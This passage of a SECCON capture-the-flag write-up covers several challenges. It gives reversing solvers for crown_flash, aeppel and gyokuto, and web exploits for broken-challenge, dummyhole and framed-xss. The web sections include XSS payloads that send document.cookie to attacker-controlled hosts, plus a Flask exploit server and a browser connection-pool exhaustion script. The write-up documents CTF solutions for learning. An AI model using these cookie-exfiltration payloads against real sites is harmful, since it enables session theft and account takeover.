The table is 37 u32s at file offset `0x1eda0` (vaddr `0x21eda0`):
```python
import struct, pathlib
data = pathlib.Path("crown_flash").read_bytes()
E = list(struct.unpack("<" + "I"*37, data[0x1eda0:0x1eda0+4*37]))
```
### Solver
```python
from pathlib import Path
import struct
def rol32(x, r): return ((x << r) | (x >> (32 - r))) & 0xffffffff
K = [0x42, 0x19, 0x66, 0x99]
Cadd = 0x9e3779b9
Cmul = 0x045d9f3b
Pad = 0x7ed55d16
Tweak = 0xc761c23c
data = Path("crown_flash").read_bytes()
E = list(struct.unpack("<" + "I"*37, data[0x1eda0:0x1eda0+4*37]))
state = 0x72616e64
flag = []
for i in range(37):
expect = (E[i] ^ (((i+1)*Pad + Tweak) & 0xffffffff)) & 0xffffffff
for b in range(256):
x = b ^ K[i & 3]
x = (x + ((i * Cadd) & 0xffffffff)) & 0xffffffff
s = (state + x) & 0xffffffff
s = (s * Cmul) & 0xffffffff
s = (s + rol32(s, 7)) & 0xffffffff
if (s ^ (s >> 16)) & 0xffffffff == expect:
flag.append(b)
state = s
break
print(bytes(flag).decode()) # SECCON{good->sPLqsLsooJY,EFwBU8Std7Y}
```
### Flag
```
SECCON{good->sPLqsLsooJY,EFwBU8Std7Y}
```
## aeppel
The applescript was a stub that unpacked and executed another embedded, obfuscated script. I extracted the inner script, ran applescript-disassembler, and passed it to slop.
At a high level:
- Input is trimmed; total length must be 24.
- Prefix is built by `Roppongi([0x53,45,43,43,4f,4e,0x7b,0x07])` → `"SECCON{"`.
- Suffix is built by `Otemachi(0x7d)` → `"}"`.
- The middle payload length must be 16.
- Four checks on the payload:
1. `Ginza(payload)` = sum of code points mod 256; must equal `0x5f`.
2. `Shimbashi(payload, 0x0d, 0x1abb, 0x1ac8, 4)` must match the literal vector
`[0x72,0x83,0x7f,0x7d,0x78,0x82,0x74,0x85,0x78,0x81,0x87,0x75,0x86,0x81,0x4b,0x44]`.
3. `Kanda(payload, seeds=[0x37,0xa9,0x5d], U1F9E7=0x9d, westchester=0x1abb)` must yield the record
`{U1F41D:0x7c3, U1F99C:64104, U1F11D:0x1523, U1F41C:0xdc99, U1F41B:0x4d16, len:0x10}`.
4. `Sugamo(payload, same seeds, U1F9E7=0x9d)` (length capped to 6) must yield the record
`{U1F41D:62601, U1F99C:65475, U1F11D:65339, len:6}`.
In Shimbashi, each output element is:
```
out[i] = ord(payload[i]) + 13 + cycle(4,6,2) // cycle by i % 3 == 1,2,0
```
Using the target vector, subtracting `13` and the cyclic offset directly reveals the 16 payload bytes:
```
applescriptfun<3
```
### Pseudocode
```
Iidabashi(candidate)
ns = Jimbocho(candidate)
ns = trimNSString(ns)
prefix = Roppongi([0x53,0x45,0x43,0x43,0x4f,0x4e,0x7b,0x07]) // "SECCON{"
suffix = Otemachi(0x7d) // "}"
if len(ns) != 0x18: return false
if not ns.hasPrefix(prefix): return false
if not ns.hasSuffix(suffix): return false
mid = ns.substring(prefix.length, len(ns) - prefix.length - suffix.length)
payload = mid as text
if Shimbashi(payload, 0x0d, 0x1abb, 0x1ac8, 4) !=
[0x72,0x83,0x7f,0x7d,0x78,0x82,0x74,0x85,
0x78,0x81,0x87,0x75,0x86,0x81,0x4b,0x44]: return false
if Ginza(payload) != 0x5f: return false
if Kanda(payload, [0x37,0xa9,0x5d], 0x9d, 0x1abb) !=
{U1F41D:0x7c3, U1F99C:64104, U1F11D:0x1523,
U1F41C:0xdc99, U1F41B:0x4d16, len:0x10}: return false
if Sugamo(payload, [0x37,0xa9,0x5d], 0x9d) !=
{U1F41D:62601, U1F99C:65475, U1F11D:65339, len:6}: return false
return true
```
```
Shimbashi(washingtondc, colorado, idaho, kansas, westchester)
out = []
var5 = (kansas - idaho) % 0x100 // equals 0x0d in this puzzle
for each char ch in washingtondc (1-based index i):
// count collection length with 'cnte', compare, etc. boils down to:
var11 = (var5 + (i-1)) % 0xb + 1 // cycling 1..11
out_i = ord(ch) + colorado + var11
append out_i to out
return out
```
For this instance `colorado = 0x0d`, and the `(var5 + (i-1)) % 0xb + 1` produces the repeating offsets `[4,6,2]` per 3-cycle, hence `out[i] = ord(ch) + 13 + [4,6,2]`.
```
Ginza(t)
sum = 0
for each char ch in t:
sum += ord(ch)
return sum % 0x100
```
```
Kanda(nsPayload, NewJersey=[a,b,c], U1F9E7, westchester)
t = nsPayload as text
lenT = len(t)
nj = [a, b, c]
rec = {U1F41D:0, U1F99C:0, U1F11D:westchester,
U1F41C:0, U1F41B:westchester, len:lenT}
for i, ch in enumerate(t, start=1):
var11 = ord(ch) - 0x80
var12 = (i * U1F9E7 + nj[0]) mod 0x101
var13 = var11 * var12 + nj[1]
var14 = nj[2] - i
if var14 == 0: var14 = -1
var15 = trunc(var13 / var14) // integer division toward zero
var16 = var12 or 1
var17 = var13 mod var16 // remainder consistent with trunc
rec.U1F99C = (rec.U1F99C + var15 + var17) mod 65536
rec.U1F41D = rec.U1F41D + var13
rec.U1F11D = (rec.U1F11D + var15 + var17) mod 65536
rec.U1F41C = rec.U1F41C + (nj[0] - nj[2]) // cumulative sum of deltas
nj[0] += var17
nj[1] -= var15
nj[2] = -nj[2] + (ord(ch) mod 5)
var18 = (var15 + var17 + U1F9E7) mod 65536
rec.U1F41B = (rec.U1F41B + var18 * (i + 3)) mod 65536
// finally normalize all numeric fields mod 65536
```
```
Sugamo(nsPayload, NewJersey=[a,b,c], U1F9E7)
t = nsPayload as text
lenT = min(len(t), 6)
nj = [a, b, c]
rec = {U1F41D:0, U1F99C:0, U1F11D:0, len:lenT}
for i, ch in enumerate(t[:lenT], start=1):
var9 = (ord(ch) - 0x80) * nj[0] + nj[1]
var10 = nj[2] - i
if var10 == 0: var10 = -1
var11 = trunc(var9 / var10)
var12 = nj[0] - (ord(ch) mod 9)
if var12 == 0: var12 = 1
var13 = var9 mod var12
rec.U1F99C = (rec.U1F99C + var11 + var13) mod 65536
rec.U1F41D = (rec.U1F41D + var9) mod 65536
rec.U1F11D = (rec.U1F11D + var11 * var13) mod 65536
nj[0] += var13
nj[1] -= var11
nj[2] = -nj[2] + (ord(ch) mod 7)
// normalize numeric fields mod 65536
```
### Flag
```
SECCON{applescriptfun<3}
```
## gyokuto
### Challenge file
- **Name:** `gyokuto`
- **Type:** ELF 64-bit LSB PIE executable, x86-64, SYSV, dynamically linked
- **Other:** stripped
- **Artifact:** `output.bin` (captured/modulated data)
The executable generates a binary file (`output.bin`) containing **392 symbols**, each symbol being **100,000 signed 16-bit samples** (total `78,400,000` bytes).
### TL;DR
The program transmits **one plaintext bit per symbol** using:
- **8-FSK** (tone index `a2` in `[0..7]`, i.e., 5–40 MHz in 5 MHz steps)
- **BPSK** (phase bit `a3`: `0` or `π`)
The tone index leaks **3 consecutive LSBs** of a xorshift128 PRNG.
A 4th PRNG LSB is used to whiten the plaintext bit into the transmitted phase.
We demodulate tone+phase per symbol, recover the xorshift128 initial state via **GF(2) linear algebra**, regenerate the missing whitening bits, and unmask the phase to recover the flag.
### Challenge analysis
#### 1) The modulator: `sub_1B0D0`
The relevant part (simplified from the decompiler output):
```c
// a2 = tone index (0..7), a3 = phase selector (0 or pi)
v20 = (a3 != 1) ? 0.0 : 3.141592653589793;
for (i = 0; i < 100000; i++) {
// amplitude envelope (ramps up for first 100 samples)
if (i < 100) amp = i / 100.0;
else amp = 1.0;
// Fs = 100 MHz (note i / 100000000.0)
// f = (a2+1) * 5 MHz
x = amp * 0.125 * cos(v20 + ((a2*5e6 + 5e6) * 2*pi * (i / 1e8)));
// plus small noise (sub_1B760), clamped to [-1, 1], scaled to int16
s16 = clamp(x + noise, -1, 1) * 32767.0;
write_le16(output, s16);
}
```
Key takeaways:
- **One symbol = 100,000 samples**
- **Sampling rate Fs = 100,000,000 Hz**
- **Tone frequencies:** `(a2+1)*5 MHz`, so `5,10,15,...,40 MHz`
- **Phase:** `0` if `a3==0`, `π` if `a3==1` (this is just sign flip)
- Output is **int16 little-endian**
This makes demodulation clean: tones land exactly on FFT bins because `Fs/N = 1 kHz`, and tones are integer kHz.
#### 2) The PRNG: `sub_1AB00` (xorshift128)
The decompiled update is the classic Marsaglia xorshift128:
```c
t = s0 ^ (s0 << 11);
s0 = s1;
s1 = s2;
s2 = s3;
s3 = (s3 >> 19) ^ s3 ^ t ^ (t >> 8);
```
`sub_1AB00(state, 3)` runs this update **3 times**, and builds a 3-bit integer by shifting left and OR-ing `s3&1` each step:
```c
acc = 0;
repeat 3 times:
update();
acc = (acc<<1) | (s3 & 1);
return acc;
```
So the tone index `a2` leaks **3 consecutive LSBs** of the PRNG output stream.
---
#### 3) How a plaintext bit is encoded
The main loop effectively does (conceptually):
```text
b0,b1,b2 = next 3 PRNG LSBs (leaked via a2)
b3 = next PRNG LSB (NOT leaked)
phase_bit = plaintext_bit XOR b3 (transmitted as 0 or π)
```
Per symbol we therefore observe:
- `a2` → gives `b0,b1,b2`
- `a3` → gives `plaintext_bit XOR b3`
We need `b3` to recover plaintext, so we must reconstruct the PRNG state.
### Solution approach
#### Step A — Demodulate each symbol
For each 100,000-sample symbol:
1. Correlate against the 8 complex exponentials at `5..40 MHz`.
2. Pick the tone index `a2` with maximum magnitude.
3. Determine phase bit `a3` from the sign of the real part of the correlation:
- real > 0 → phase 0 (bit 0)
- real < 0 → phase π (bit 1)
This yields arrays:
- `tone_idx[392]` in `[0..7]`
- `phase_bit[392]` in `{0,1}`
#### Step B — Recover the xorshift128 initial state (GF(2) solve)
xorshift128 is **linear over GF(2)**, so every output bit is a linear function of the 128 initial state bits.
We observe 3 out of every 4 PRNG LSBs:
- at PRNG steps `4*s + {0,1,2}` we know the bit from `tone_idx[s]`
That gives `392*3 = 1176` linear equations in 128 unknowns.
We build the linear system by:
1. Simulating the PRNG for each of the 128 basis initial states (single-bit states)
2. Recording the output LSB sequence
3. Constructing coefficient masks `coeff[t]` such that:
```text
bit(t) = parity(coeff[t] AND initial_state_bits)
```
Then we solve using Gaussian elimination over GF(2).
#### Step C — Decrypt plaintext bits
With the recovered PRNG state:
1. Regenerate the full LSB stream `b[t]`.
2. For each symbol `s`, take `b3 = b[4*s+3]`.
3. Unmask: `plaintext_bit = phase_bit[s] XOR b3`.
4. Pack bits **MSB-first** into bytes.
The recovered plaintext bytes are:
- Raw (49 bytes): `]SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}`
- Dropping the leading sync/preamble byte (`]`) gives the flag:
```text
SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}
```
### Decryption code (reference solver)
Save as `solve_gyokuto.py`:
```python
#!/usr/bin/env python3
import argparse
import numpy as np
FS = 100_000_000.0 # 100 MHz from decomp: n / 100000000.0
N = 100_000 # 100k samples per symbol (loop runs to 99999)
TONES = np.array([(k+1)*5_000_000.0 for k in range(8)], dtype=np.float64) # 5..40 MHz step 5
MASK32 = 0xFFFFFFFF
def xs128_step(s0: int, s1: int, s2: int, s3: int):
"""Marsaglia xorshift128 (32-bit lanes), matching the decompiled code."""
t = (s0 ^ ((s0 << 11) & MASK32)) & MASK32
s0, s1, s2 = s1, s2, s3
s3 = (s3 ^ (s3 >> 19) ^ t ^ (t >> 8)) & MASK32
return s0, s1, s2, s3
def build_coeffs(num_steps: int):
"""
Build coeff[t] as a 128-bit mask such that:
output_bit(t) = parity(coeff[t] & initial_state_bits)
where output_bit(t) is LSB(new_s3) after t-th update.
"""
coeff = [0] * num_steps
for i in range(128):
w = i // 32
b = i % 32
s = [0, 0, 0, 0]
s[w] = 1 << b
s0, s1, s2, s3 = s
for t in range(num_steps):
s0, s1, s2, s3 = xs128_step(s0, s1, s2, s3)
if s3 & 1:
coeff[t] |= (1 << i)
return coeff
def gf2_solve_lowpivot(equations, nvars: int):
"""
Solve A x = b over GF(2).
Each equation is (mask, rhs_bit) with mask being nvars bits.
Returns solution as an integer bitmask of length nvars.
"""
rows = [(mask | (rhs << nvars)) for (mask, rhs) in equations]
pivot_row = [None] * nvars
for row in rows:
m = row & ((1 << nvars) - 1)
while m:
lsb = m & -m
p = lsb.bit_length() - 1
if pivot_row[p] is None:
pivot_row[p] = row
break
row ^= pivot_row[p]
m = row & ((1 << nvars) - 1)
else:
if (row >> nvars) & 1:
raise ValueError("Inconsistent system (no solution).")
# Back-substitute from high to low (works because we pivot on lowest bit)
sol = 0
for p in range(nvars - 1, -1, -1):
row = pivot_row[p]
if row is None:
continue
rhs = (row >> nvars) & 1
m = row & ((1 << nvars) - 1)
m_wo = m & ~(1 << p)
parity = (m_wo & sol).bit_count() & 1
val = rhs ^ parity
if val:
sol |= (1 << p)
return sol
def sol_to_state(sol: int):
s0 = sol & MASK32
s1 = (sol >> 32) & MASK32
s2 = (sol >> 64) & MASK32
s3 = (sol >> 96) & MASK32
return s0, s1, s2, s3
def gen_bits(init_state, steps: int):
s0, s1, s2, s3 = init_state
out = []
for _ in range(steps):
s0, s1, s2, s3 = xs128_step(s0, s1, s2, s3)
out.append(s3 & 1)
return out
def demodulate_symbols(samples_i16: np.ndarray):
"""
Each symbol is N int16 samples.
We detect tone index (0..7) via complex correlation against the 8 exact tones.
Phase bit is 0 if correlation real-part > 0, else 1 (π shift).
"""
blocks = len(samples_i16) // N
samples = samples_i16.reshape(blocks, N).astype(np.float32)
n = np.arange(N, dtype=np.float32)
E = np.empty((8, N), dtype=np.complex64)
for k, f in enumerate(TONES):
E[k] = np.exp(-1j * 2.0 * np.pi * (f / FS) * n).astype(np.complex64)
tone_idx = np.empty(blocks, dtype=np.int16)
phase_bit = np.empty(blocks, dtype=np.uint8)
for b in range(blocks):
c = E @ samples[b]
idx = int(np.argmax(np.abs(c)))
tone_idx[b] = idx
phase_bit[b] = 1 if c[idx].real < 0 else 0
return tone_idx, phase_bit
def bits_to_bytes_msb(bits):
out = bytearray()
for i in range(0, len(bits), 8):
v = 0
for j in range(8):
v = (v << 1) | (bits[i + j] & 1)
out.append(v)
return bytes(out)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("input", help="output.bin from the challenge")
ap.add_argument("--drop-prefix-byte", action="store_true",
help="Drop the leading ']' byte (sync/preamble) to get a clean SECCON{...} flag")
args = ap.parse_args()
raw = np.fromfile(args.input, dtype="<i2")
if raw.size % N != 0:
raise SystemExit("Input length is not a multiple of 100000 samples.")
tone_idx, phase_bit = demodulate_symbols(raw)
blocks = len(tone_idx)
steps = 4 * blocks
# Observations: per symbol we leak 3 PRNG LSBs as the tone index:
# idx = (b0<<2)|(b1<<1)|b2, corresponding to steps 4*sym + 0..2
coeff = build_coeffs(steps)
eqs = []
for sym in range(blocks):
idx = int(tone_idx[sym])
leaked = [(idx >> 2) & 1, (idx >> 1) & 1, idx & 1]
for j in range(3):
eqs.append((coeff[4 * sym + j], leaked[j]))
sol = gf2_solve_lowpivot(eqs, 128)
init_state = sol_to_state(sol)
bseq = gen_bits(init_state, steps)
# The transmitted phase bit is plaintext_bit XOR (next PRNG LSB)
plain_bits = [int(phase_bit[sym]) ^ int(bseq[4 * sym + 3]) for sym in range(blocks)]
pt = bits_to_bytes_msb(plain_bits)
if args.drop_prefix_byte:
pt = pt[1:]
try:
print(pt.decode("ascii"))
except UnicodeDecodeError:
print(pt)
if __name__ == "__main__":
main()
```
Usage:
```bash
python3 solve_gyokuto.py output.bin --drop-prefix-byte
```
---
### Flag
```text
SECCON{R4bb1ts_h0p_0N_Th3_M00N_auRVXwxg5iIFJ0eM}
```
# Web
## broken-challenge
You can leak the private key
```shell=
❯ curl http://broken-challenge.seccon.games:1337/hint
<!DOCTYPE html>
<html data-theme="light">
<head>
<title>Hint</title>
</head>
<body>
<p>nope</p>
<div style="opacity: 0;">-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDXSM3v5wDSRra/TS/InNmXoVWqm4W/HsWyJ5qzqk0lUoAoGCCqGSM49
AwEHoUQDQgAElm1pmadguVhutPv6LdLuQke8b3iTpaGBIdmc5ta9/WLs1GtFV2K5
wGUkCtk/c9u1e64FKrqqHva6JMAJFafgOw==
-----END EC PRIVATE KEY-----</div>
</body>
</html>
```
Then sign cert with the private key and serve an HTTP exchange that runs as that origin (hack.the.planet.seccon)
Similar to https://gist.github.com/betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02
## dummyhole
The content-type on the file upload is restricted to starting with `image/png` or `image/jpeg`. The content-type spec
allows us to end our content type with `+json`, and the browser will do some magic nonsense to make it not get parsed
as octet-stream or try rendering as an image.
There is a small path traversal bug on the posts page, we can supply `../../images/<uuid>` as our postId to have it load
a file we upload as the json metadata for the image (and thus we can control the iframe source).
The url suffix in the json response gets appended to the `location.origin`, which in the case of the admin bot is `http://web`.
I set up DNS for `web.lovense.toys` to point to a server I control, and provided `.lovense.toys/` as the `image_url`. This was
running a FastAPI webserver that looked like this:
```py
from fastapi import FastAPI
from fastapi.responses import FileResponse
import time
import asyncio
app = FastAPI()
@app.get("/sleep")
async def eepy():
print("/sleep hit")
await asyncio.sleep(60)
return {"meow": "mrrp"}
@app.get("/")
async def root():
return FileResponse("meow.html")
@app.get("/redirect")
async def redirect():
return FileResponse("mrrp.html")
@app.get("/pool")
async def pool():
return FileResponse("pool.html")
```
`meow.html` looked like this:
```html
<!DOCTYPE html>
<html>
meowmeow
<script>
setTimeout( () => {
window.open( "/pool" )
}, 0 );
</script>
</html>
```
`mrrp.html` looked like this:
```html
<!DOCTYPE html>
<html>
meowmeow
<script>
function topLevelPost( url, fields ) {
const form = document.createElement( 'form' );
form.method = 'POST';
form.action = url;
for ( const [ name, value ] of Object.entries( fields ) ) {
const input = document.createElement( 'input' );
input.type = 'hidden';
input.name = name;
input.value = value;
form.appendChild( input );
}
document.body.appendChild( form );
form.submit();
}
let payload = {
post_id: '1234',
fallback_url: 'javascript:window.stop();fetch("http://000000.web.lovense.toys?meow=" + document.cookie)'
}
setTimeout( () => {
topLevelPost( 'http://web/logout', payload );
}, 0 )
</script>
</html>
```
`pool.html` looked like this:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<button id="fillpool" onclick="fillPool(MAX_SOCKET)">Fill the pool</button>
<button id="add_conn" onclick="createConn()">Add 1 more connection</button>
<button id="release_conn" onclick="releaseConn()"> Release 1 connection </button>
<button id="release_All" onclick="releaseConn(window.count)"> Release All connection </button>
<textarea id="log"> </textarea>
<script>
const MAX_SOCKET = 256
const MYSERVER = 'web.lovense.toys'
window.socketControllers = []
window.count = 0;
function log( string ) {
document.querySelector( '#log' ).textContent += string
}
function createConn( prefix ) {
try {
let unique = window.count
let controller = new AbortController();
fetch( `http://000${unique}.${MYSERVER}/sleep?lol=${Date.now()}`, {
mode: 'no-cors',
signal: controller.signal,
priority: "high"
} ).catch( ( e ) => { createConn() } );
window.socketControllers.push( controller );
window.count++;
} catch {
}
}
function fillPool( maxval ) {
log( '\nFilling pool\n' )
for ( let i = 0; i < maxval; i++ ) {
createConn()
}
log( '\nShould have finished\n' )
}
function releaseConn( n = 1 ) {
log( `Releasing ${n} connections\n` )
for ( let i = 0; i < n; i++ ) {
window.socketControllers.shift().abort()
window.count--;
}
}
fillPool( MAX_SOCKET )
setTimeout( () => {
new Promise( resolve => {
window.open( "/redirect" )
} )
let j = 0
setTimeout( () => {
releaseConn()
createConn()
setInterval( () => {
createConn()
}, 200 );
setTimeout( () => {
releaseConn()
createConn()
setTimeout( () => {
releaseConn( window.count )
}, 5 );
}, 7500 );
}, 500 )
}, 500 );
</script>
</body>
</html>
```
Basically what this did was:
1) Leave the iframe and open a new window we control entirely
2) Abuse the obvious XSS sink in the /logout endpoint
3) Saturate Chrome's TCP connection pool and slowly release connections such that the `/logout` page renders, but the initial redirect hangs for the needed 5 seconds
It took a few tries (I think there were DNS issues on remote?) but eventually the timing worked, and I caught the flag back in my callback server logs
## framed-xss
- old spanote exploit doesn't work anymore because chrome added 2byte at the beginning of the disk cache key and there is a key mismatch
- _s for iframes and _cn for top level navigations
- However it's checked if the initiator is [null](https://source.chromium.org/chromium/chromium/src/+/main:net/http/http_cache.cc;l=760?q=is_cross_site_main_frame_navigation_prefix&ss=chromium)
- A recent IcesFont daily challenge on ImaginaryCTF called Svart Board demonstrates a way to obtain a null initiator request ([relevant writeup](https://gist.github.com/icesfont/a38cf323817a75d61e0612662c6d0476))
- Since we now have the ability of nulling the initiator the _cn prefix won't be inserted, making us achieve xss without key mismatch
```python
from flask import Flask, redirect, request, Response
import urllib.parse
app = Flask(__name__)
CHALLENGE = "http://framed-xss.seccon.games:3000"
WEBHOOK = "http://"
XSS_PAYLOAD = f"<script>fetch('{WEBHOOK}?c='+document.cookie);alert()</script>"
@app.after_request
def add_headers(response):
response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate"
response.headers["Pragma"] = "no-cache"
response.headers["Expires"] = "0"
return response
visits = {}
@app.get("/")
def index():
ip = request.remote_addr
visits[ip] = visits.get(ip, 0) + 1
encoded_payload = urllib.parse.quote(XSS_PAYLOAD, safe='')
if visits[ip] == 1:
html = f'''<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<h1>Processing...</h1>
<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
(async () => {{
// Step 1: Open popup to challenge page
// This causes the challenge page to fetch /view?html=XSS with From-Fetch header
// The response gets cached with key: _dk_localhost:3000 localhost:3000 /view?html=XSS
const popup = window.open("{CHALLENGE}/?html={encoded_payload}", "cache_primer");
await sleep(1500);
// Step 2: Navigate to blob: URL that does history.back()
// This preserves the null initiator from page.goto()
location = URL.createObjectURL(new Blob([`
<!DOCTYPE html>
<html>
<head><title>Going back...</title></head>
<body>
<h1>Redirecting...</h1>
<script>
setTimeout(() => history.back(), 500);
<\\/script>
</body>
</html>
`], {{ type: "text/html" }}));
}})();
</script>
</body>
</html>'''
return Response(html, mimetype='text/html')
else:
# Second visit (from history.back with null initiator preserved):
# Redirect to /view?html=XSS
# This navigation has null initiator -> no cn_ prefix
# Cache key matches the fetch's key -> CACHE HIT
# Returns cached XSS instead of 400 error!
visits[ip] = 0
return redirect(f"{CHALLENGE}/view?html={encoded_payload}")
if __name__ == "__main__":
print(f"Running on port 9001")
app.run(host="0.0.0.0", port=9001, debug=True)
```
# Welcome
## welcome
Well technically you need to writeup all challenges

`SECCON{14}`